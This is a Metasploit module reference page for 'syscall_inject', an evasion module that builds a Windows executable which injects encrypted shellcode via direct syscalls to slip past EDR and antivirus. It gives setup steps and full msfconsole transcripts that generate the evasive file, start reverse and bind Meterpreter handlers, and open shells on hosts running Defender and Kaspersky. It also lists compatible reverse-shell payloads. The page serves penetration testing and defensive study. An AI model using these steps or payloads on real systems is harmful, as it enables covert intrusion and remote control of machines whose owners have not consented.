Direct windows syscall evasion technique - Metasploit
This page contains detailed information about how to use the evasion/windows/syscall_inject metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Direct windows syscall evasion technique
Module: evasion/windows/syscall_inject
Source code: modules/evasion/windows/syscall_inject.rb
Disclosure date: -
Last modification time: 2021-09-22 09:55:17 +0000
Supported architecture(s): x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module allows you to generate a Windows EXE that evades Host-based security products such as EDR/AVs. It uses direct windows syscalls to achieve stealthiness, and avoid EDR hooking. please try to use payloads that use a more secure transfer channel such as HTTPS or RC4 in order to avoid payload's network traffic getting caught by network defense mechanisms. NOTE: for better evasion ratio, use high SLEEP values
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use evasion/windows/syscall_inject
msf evasion(syscall_inject) > show options
... show and set options ...
msf evasion(syscall_inject) > exploit
Knowledge Base
Description
This module lets you create a Windows executable that injects a specific payload/shellcode in memory bypassing EDR/AVs Windows API hooking technique via direct syscalls achieved by Mingw's inline assembly. Mingw needs (x86_64) to be installed on the system and in the PATH enviroment variable.
The technique used is based on Sorting by System Call Address, by enumerating all Zw* stubs in the EAT of NTDLL.dll and then sorting them by address, it still works even if syscall indices were overwritten by AVs. For more details
Verification Steps
steps using a meterpreter/reverse_tcp payload on a 64-bits target:
use evasion/windows/syscall_injectset LHOST <local IP>set payload windows/x64/meterpreter/reverse_tcphandler -p windows/x64/meterpreter/reverse_tcp -H <local IP> -P <local port>run- Make sure that "Automatic Sample Submission" is off in Windows Defender
- Copy the generated executable file to a specified location (e.g. target PC)
- Run it
- Verify that you got a session without being blocked by Antimalware
Options
CIPHER
Encryption algorithm used to encrypt the payload. Available ones (CHACHA, RC4)
FILENAME
Filename for the generated evasive file file. The default is random.
JUNK
Adding random data such as names, emails and GUIDs to the final executable
SLEEP
Specify how much the program sleeps in milliseconds prior to execute the shellcode's thread (NtCreateThread). NOTE: the longer the better chance to avoid being detected.
Advanced
OptLevel
Optimization level passed to the compiler (Mingw)
Scenarios
Windows 10 (x64) version 20H2 with Defender
msf6 > use evasion/windows/syscall_inject
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 evasion(windows/syscall_inject) > set SLEEP 10000
SLEEP => 10000
msf6 evasion(windows/syscall_inject) > set LHOST 192.168.1.104
LHOST => 192.168.1.104
msf6 evasion(windows/syscall_inject) > run
[+] pYlCSOAeW.exe stored at /Users/user/.msf4/local/pYlCSOAeW.exe
msf6 evasion(windows/syscall_inject) > cp /Users/user/.msf4/local/pYlCSOAeW.exe ~
[*] exec: cp /Users/user/.msf4/local/pYlCSOAeW.exe ~
msf6 evasion(windows/syscall_inject) > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.104 -P 4444
[*] Payload handler running as background job 1.
[*] Started reverse TCP handler on 192.168.1.104:4444
msf6 evasion(windows/syscall_inject) > [*] Sending stage (200262 bytes) to 192.168.1.103
[*] Meterpreter session 3 opened (192.168.1.104:4444 -> 192.168.1.103:53007) at 2021-08-01 17:08:43 +0300
msf6 evasion(windows/syscall_inject) > sessions -i 3
[*] Starting interaction with 3...
meterpreter > sysinfo
Computer : DESKTOP-822593D
OS : Windows 10 (10.0 Build 19042).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.1.103 - Meterpreter session 3 closed. Reason: User exit
Windows server 2012 (x64) with Kaspersky 10.2.6.3733
msf6 > use evasion/windows/syscall_inject
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 evasion(windows/syscall_inject) > set payload windows/x64/meterpreter_bind_tcp
payload => windows/x64/meterpreter_bind_tcp
msf6 evasion(windows/syscall_inject) > set RHOST 192.168.225.76
RHOST => 192.168.225.76
msf6 evasion(windows/syscall_inject) > set LPORT 10156
LPORT => 10156
msf6 evasion(windows/syscall_inject) > set cipher rc4
cipher => rc4
msf6 evasion(windows/syscall_inject) > run
[+] ShP.exe stored at /Users/medicus/.msf4/local/ShP.exe
msf6 evasion(windows/syscall_inject) > cp /Users/medicus/.msf4/local/ShP.exe ~
[*] exec: cp /Users/medicus/.msf4/local/ShP.exe ~
msf6 evasion(windows/syscall_inject) > handler -p windows/x64/meterpreter_bind_tcp -H 192.168.225.76 -P 10156
[*] Payload handler running as background job 0.
[*] Started bind TCP handler against 192.168.225.76:10156
msf6 evasion(windows/syscall_inject) > [*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.225.76:10156) at 2021-08-01 17:32:05 +0300
msf6 evasion(windows/syscall_inject) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : LABCE28
OS : Windows 2012 (6.2 Build 9200).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 386
Meterpreter : x64/windows
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.225.76 - Meterpreter session 1 closed. Reason: User exit
Go back to menu.
Msfconsole Usage
Here is how the windows/syscall_inject evasion module looks in the msfconsole:
msf6 > use evasion/windows/syscall_inject
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 evasion(windows/syscall_inject) > show info
Name: Direct windows syscall evasion technique
Module: evasion/windows/syscall_inject
Platform: Windows
Arch: x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Yaz (kensh1ro)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CIPHER chacha yes Shellcode encryption type (Accepted: chacha, rc4)
FILENAME sSgPqNG.exe yes Filename for the evasive file (default: random)
SLEEP 20000 no Sleep time in milliseconds before executing shellcode
Description:
This module allows you to generate a Windows EXE that evades
Host-based security products such as EDR/AVs. It uses direct windows
syscalls to achieve stealthiness, and avoid EDR hooking. please try
to use payloads that use a more secure transfer channel such as
HTTPS or RC4 in order to avoid payload's network traffic getting
caught by network defense mechanisms. NOTE: for better evasion
ratio, use high SLEEP values
Module Options
This is a complete list of options available in the windows/syscall_inject evasion module:
msf6 evasion(windows/syscall_inject) > show options
Module options (evasion/windows/syscall_inject):
Name Current Setting Required Description
---- --------------- -------- -----------
CIPHER chacha yes Shellcode encryption type (Accepted: chacha, rc4)
FILENAME sSgPqNG.exe yes Filename for the evasive file (default: random)
SLEEP 20000 no Sleep time in milliseconds before executing shellcode
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Evasion target:
Id Name
-- ----
0 Microsoft Windows (x64)
Advanced Options
Here is a complete list of advanced options supported by the windows/syscall_inject evasion module:
msf6 evasion(windows/syscall_inject) > show advanced
Module advanced options (evasion/windows/syscall_inject):
Name Current Setting Required Description
---- --------------- -------- -----------
OptLevel Os no The optimization level to compile with (Accepted: Os, O0, O1, O2, O3, Og)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Evasion Targets
Here is a list of targets (platforms and systems) supported by the windows/syscall_inject evasion module:
msf6 evasion(windows/syscall_inject) > show targets
Evasion targets:
Id Name
-- ----
0 Microsoft Windows (x64)
Compatible Payloads
This is a list of possible payloads which are compatible with the windows/syscall_inject evasion module:
msf6 evasion(windows/syscall_inject) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64 Execute Command
4 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
5 payload/windows/x64/messagebox normal No Windows MessageBox x64
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
20 payload/windows/x64/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
21 payload/windows/x64/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline (x64)
22 payload/windows/x64/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
23 payload/windows/x64/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
24 payload/windows/x64/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
25 payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64
26 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
27 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
28 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
29 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
30 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
31 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
32 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
33 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
34 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
35 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
36 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
37 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
38 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
39 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
40 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
41 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
42 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
43 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
44 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
45 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
46 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
47 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
48 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
49 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
50 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
51 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
52 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
53 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
54 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
55 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
56 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
57 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
58 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
59 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
60 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
61 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
62 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
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Error Messages
This module may fail with the following error messages:
Error Messages
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Compilation error. Check the logs for further information.
Here is a relevant code snippet related to the "Compilation error. Check the logs for further information." error message:
538: def generate_code(src, opts = {})
539: comp_obj = Metasploit::Framework::Compiler::Mingw::X64.new(opts)
540: compiler_out = comp_obj.compile_c(src)
541: unless compiler_out.empty?
542: elog(compiler_out)
543: raise Metasploit::Framework::Compiler::Mingw::UncompilablePayloadError, 'Compilation error. Check the logs for further information.'
544: end
545: comp_file = "#{opts[:f_name]}.exe"
546: raise Metasploit::Framework::Compiler::Mingw::CompiledPayloadNotFoundError unless File.exist?(comp_file)
547:
548: bin = File.binread(comp_file)
Go back to menu.
Related Pull Requests
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See Also
Check also the following modules related to this module:
- evasion/windows/applocker_evasion_install_util
- evasion/windows/applocker_evasion_msbuild
- evasion/windows/applocker_evasion_presentationhost
- evasion/windows/applocker_evasion_regasm_regsvcs
- evasion/windows/applocker_evasion_workflow_compiler
- evasion/windows/process_herpaderping
- evasion/windows/windows_defender_exe
- evasion/windows/windows_defender_js_hta
Authors
- Yaz (kensh1ro)
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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